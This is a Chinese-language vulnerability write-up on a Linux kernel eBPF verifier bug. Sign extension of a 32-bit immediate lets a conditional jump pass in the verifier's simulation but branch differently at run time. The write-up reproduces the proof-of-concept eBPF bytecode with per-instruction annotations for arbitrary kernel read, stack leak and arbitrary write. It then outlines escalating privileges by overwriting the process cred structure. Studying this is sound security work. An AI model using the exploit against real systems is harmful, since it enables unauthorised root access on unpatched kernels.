补丁


可以知道是check_alu_op函数中imm的问题

regs属于结构体reg_state类型,元素 imm立即数为有符号signed int类型。

struct reg_state {
    enum bpf_reg_type type;
    union {
        /* valid when type == CONST_IMM | PTR_TO_STACK */
        int imm;

        /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
         *   PTR_TO_MAP_VALUE_OR_NULL
         */
        struct bpf_map *map_ptr;
    };
};

insn属于结构体bpf_insn类型,imm 为 signed int类型。

struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

补丁中imm为unsigned long类型。

poc分析

模拟执行

poc中使用4行绕过epbf的模拟执行检查

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3)

逐个函数分析

ALU_MOV_K(0,9,0x0,0xffffffff)

ALU class的操作会调用check_alu_op对alu类指令进行校验。

bpf_k表示源数据为imm立即数,bpf_x表示源数据为src寄存器。

opcode为 mov。

模拟执行的时候会执行

            regs[insn->dst_reg].type = CONST_IMM;
            regs[insn->dst_reg].imm = insn->imm;
等价于:
            regs[9]=-1(0xffffffff);

JMP_JNE_K(0,9,0x2,0xffffffff)

调用路径 do_check->check_cond_jmp_op,会进行下面的判断

if (BPF_SRC(insn->code) == BPF_K &&
        (opcode == BPF_JEQ || opcode == BPF_JNE) &&
        regs[insn->dst_reg].type == CONST_IMM &&
        regs[insn->dst_reg].imm == insn->imm)

在对立即数进行判断的时候跟赋值的时候一样,因此判断通过,直接return 0,然后 insn_idx++ , 执行2,3行指令,执行exit。

实际执行

通过 __bpf_prog_run 实际执行,内置一张跳转表,通过判断opcode,跳转到实际执行函数。这里的寄存器类型为 u64 regs[MAX_BPF_REG] , 这个的寄存器(regs)也是通过栈变量模拟的。

ALU_MOV_K(0,9,0x0,0xffffffff)

这里的 DST :#define DST regs[insn->dst_reg] , 因此DST为u64类型。

此时的DST为 0xffffffff;

JMP_JNE_K(0,9,0x2,0xffffffff)


这里的IMM : #define IMM insn->imm , 仍然是 int类型,int类型在与unsigned long类型做比较之前,先会将int转换为对应的 unsigned long 类型,但这里会进行符号扩展,也就是把int的最高位赋值给unsigned long的17-32位。因此在实际比较时执行的是cmp 0xffffffff , 0xffffffffffffffff,不会相等,就会执行insn += insn->off , 不会像模拟执行一样直接执行exit,因此,后面的指令就饶过了ebpf_check的检查,可以执行任意指令。

bpf 系统调用功能

  • map_create : 申请一个map,并返回fd。
  • map_lookup_elem/map_update_elem :根据传入的key,查找/修改对应的vlaue。这里是任意读写的基础。
  • bpf_prog_load : 将用户空间ebpg_prog加载进内核空间,并调用do_check检查合法性,如何prog没问题,则调用fixup_bpf_calls函数,根据insn->imm指定的编号找打对应的函数指针,然后再把函数指针和__bpf_call_base之间的offset,赋值到insn->imm中。

insn->imm = fn->func - __bpf_call_base;

ebpf与map

  • 用户空间通过执行bpf系统调用可以根据不同的cmd,执行不同的命令,可以通过BPF_MAP_CREATE 创建一个map,并返回一个fd。
  • ebpf如何与map关联:进入bpf_check函数之后,执行do_check之前,会执行函数replace_map_fd_with_map_ptr,

    if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {
                    if (insn->src_reg != BPF_PSEUDO_MAP_FD) {
                    verbose("unrecognized bpf_ld_imm64 insn\n");
                    return -EINVAL;
                }
    
                f = fdget(insn->imm);
                map = __bpf_map_get(f);
                /* store map pointer inside BPF_LD_IMM64 instruction */
                insn[0].imm = (u32) (unsigned long) map;
                insn[1].imm = ((u64) (unsigned long) map) >> 32;
    }

insn->imm:提供想要获取的map对应的fd。此时insn[0]与insn[1]的imm值可以组合成map地址。

在实际执行的时候执行

    LD_IMM_DW:
        DST = (u64) (u32) insn[0].imm | ((u64) (u32) insn[1].imm) << 32;
        insn++;
        CONT;

相当于把map地址给DST寄存器,模拟执行也相当于预执行的一个功能。这样ebpf_prog就可以访问map了。

ebpf_prog 分析

[0]: ALU_MOV_K(0,9,0x0,0xffffffff)
[1]: JMP_JNE_K(0,9,0x2,0xffffffff)
[2]: ALU64_MOV_K(0,0,0x0,0x0)
[3]: JMP_EXIT(0,0,0x0,0x0)
[4]: LD_IMM_DW(1,9,0x0,0x3) r9 = map_addr
[5]: maybe padding
[6]: ALU64_MOV_X(9,1,0x0,0x0) r1 = r9;
[7]: ALU64_MOV_X(10,2,0x0,0x0) r2 = r10
[8]: ALU64_ADD_K(0,2,0x0,0xfffffffc) r2 = r2-4
[9]: ST_MEM_W(0,10,0xfffc,0x0) *(r10 - 4) = 0
[10]: JMP_CALL(0,0,0x0,0x1) call BPF_FUNC_map_lookup_elem(map,0)
[11]: JMP_JNE_K(0,0,0x1,0x0) if(r0 == 0) goto 12 //判断返回值
[12]: JMP_EXIT(0,0,0x0,0x0)  exit(0);
[13]: LDX_MEM_DW(0,6,0x0,0x0) r6 = *r0
[14]: ALU64_MOV_X(9,1,0x0,0x0) r1 = r9
[15]: ALU64_MOV_X(10,2,0x0,0x0)r2 = r10
[16]: ALU64_ADD_K(0,2,0x0,0xfffffffc) r2 = r2-4
[17]: ST_MEM_W(0,10,0xfffc,0x1) *(r10 - 4) = 1
[18]: JMP_CALL(0,0,0x0,0x1) call BPF_FUNC_map_lookup_elem(map,1)
[19]: JMP_JNE_K(0,0,0x1,0x0) if(r0 == 0) goto 12
[20]: JMP_EXIT(0,0,0x0,0x0) exit(0)
[21]: LDX_MEM_DW(0,7,0x0,0x0) r7 = *r0
[22]: ALU64_MOV_X(9,1,0x0,0x0) 
[23]: ALU64_MOV_X(10,2,0x0,0x0)
[24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)
[25]: ST_MEM_W(0,10,0xfffc,0x2)
[26]: JMP_CALL(0,0,0x0,0x1) call BPF_FUNC_map_lookup_elem(map,2)
[27]: JMP_JNE_K(0,0,0x1,0x0)
[28]: JMP_EXIT(0,0,0x0,0x0)
[29]: LDX_MEM_DW(0,8,0x0,0x0) r8 = *r0
[30]: ALU64_MOV_X(0,2,0x0,0x0) r2 == r0;
[31]: ALU64_MOV_K(0,0,0x0,0x0) r0 == 0;
[32]: JMP_JNE_K(0,6,0x3,0x0)   if (r6 != 0) goto 36
[33]: LDX_MEM_DW(7,3,0x0,0x0)  r3 = *r7;
[34]: STX_MEM_DW(3,2,0x0,0x0)  *r2 = r3;
[35]: JMP_EXIT(0,0,0x0,0x0)    exit(0);
[36]: JMP_JNE_K(0,6,0x2,0x1)   if (r6 != 1) goto 39
[37]: STX_MEM_DW(10,2,0x0,0x0) *r2 = r10
[38]: JMP_EXIT(0,0,0x0,0x0)    exit(0);
[39]: STX_MEM_DW(8,7,0x0,0x0)  *r7 = r8
[40]: JMP_EXIT(0,0,0x0,0x0)    exit(0)

map{key0:vlaue0,kay1:value1,kay2:value2}

  • 0 - 3 : 绕过检查
  • 4 - 5 :获取map地址
  • 6 - 13 : r6 = map_lookup_elem(map,0) => value0
  • 14 - 21 : r7 = map_lookup_elem(map,1) => value1
  • 22 - 29 : r8 = map_lookup_elem(map,2) => value2
  • r6 = 0:vlaue2 = value1,vlaue1传入内核地址,就可以读取对应的数据,实现任意读
  • r6 = 1:value2 = r10 = rbp , 因为ebpf_prog在执行的时候,寄存器也是在栈上模拟的,这样可以泄露栈地址
  • r6 = 2:*value1 = value2 ,可以往value地址里写入数据value2 ,实现任意地址写。

步骤

用户空间与map,ebpf_prog交互

userspace <-----> map <----->ebpf_prog

因为ebpf_prog有任意读写的功能,可以在用户空间更改map的value,ebpf_prog读取这些value,并执行相应动作。

  • leak 栈指针,计算thread_info,task_struct
  • 利用prctl 设置task_struct->comm,利用任意读,找到comm的地址,通过comm与cred之间的偏移,读到cred的地址
  • 利用任意写,写入cred。

preView